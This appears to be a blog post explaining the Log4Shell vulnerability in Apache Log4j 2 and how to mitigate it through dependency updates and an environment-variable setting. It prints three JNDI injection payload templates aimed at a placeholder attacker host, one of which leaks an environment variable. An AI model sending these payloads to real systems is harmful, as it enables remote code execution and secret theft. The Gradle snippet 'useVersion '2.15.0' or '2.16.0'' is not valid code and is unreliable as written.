“The Log4j Vulnerability & Mitigations”

The Grand Gallery. Credit: ScanPyramids Mission

If you’re into the tech world, you must have noticed that a lot of people talk about zero-day vulnerabilities in lots of software over the weekend due to the dependency on the Log4j log library. Curious about all these, I did some research and compiled them for you.

What is Log4j?

Log4j is an open source logging library written in Java that was developed by the Apache Software Foundation. Millions of applications use it, and some of them are enormously popular — such as iCloud, Steam, and Minecraft — so the potential reach of this problem is enormous.

What is a Zero-day vulnerability?

A zero-day (also known as 0-day) is a computer-software vulnerability either unknown to those who should be interested in its mitigation (including the vendor of the target software) or known and a patch has not been developed

What was the vulnerability discovered in Log4j?

An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

See the original CVE link.

See the original Apache link.

On December 9th, 2021, the security community became aware of active exploitation attempts of a vulnerability in Apache Log4j 2. The vulnerability, also known as “Log4Shell”, is trivially easy to exploit and consists of a malformed Java Naming and Directory Interface (JNDI) request of the form. Further variations are documented below:

${jndi:ldap://<malicious infrastructure>/<payload>}  
${jndi:dns://<malicious infrastructure>/<payload>} 
${jndi:ldap://${env:<user>}.<malicious infrastructure>/<payload>}

The exploit allows the use of remote code execution (RCE) in a vulnerable system, which means an attacker can then gain full control of them. This is done by sending a specific string to the logger which then triggers a lookup to a remote server owned by the attacker, the response from which contains a code that is injected into the vulnerable server process. The attacker is then able to execute commands with the same level of privilege as the application that uses the logging library.

It’s difficult to assess the extent of possible impact as Log4j2 is used across a variety of products and services, from Apache products like Struts, Solr, and Flink to security products like ElasticSearch, Logstash, and Kafka, and even Minecraft servers.

What Should We Do for Mitigation?

Firstly, check your project dependencies tree for Log4j:

Using gradle wrapper:
./gradlew :app:dependencyInsight --configuration compile --dependency <name>
Note: Replace app with the project module name.

If the listed dependencies tree has the vulnerability version of Log4j:

If you use Log4j dependency directly:
you should update to version 2.15.0 or 2.16.0 in your build.gradle file
If you use Log4j dependency due to third part dependencies:
add below block to your build.gradle file:
configurations.all {
   resolutionStrategy.eachDependency { DependencyResolveDetails details ->
      if (details.requested.group == 'org.apache.logging.log4j') {
         details.useVersion '2.15.0' or '2.16.0'
      }
   }
}

For all organizations using Log4j, you should update to version 2.15.0 or 2.16.0 as soon as possible.

From log4j 2.15.0, this behavior (message lookup substitution) has been disabled by default.

From version 2.16.0, this functionality has been completely removed.

Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

The latest version can be found on the Log4j download page. There are reasons why this may not be immediately possible and there are some other steps that can be taken to mitigate the vulnerability while you do so listed here. The main takeaway is to set the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true.

Another more general step is to store credentials in a secret store and not as Env Variables.

Hopefully, this was in some way helpful to someone...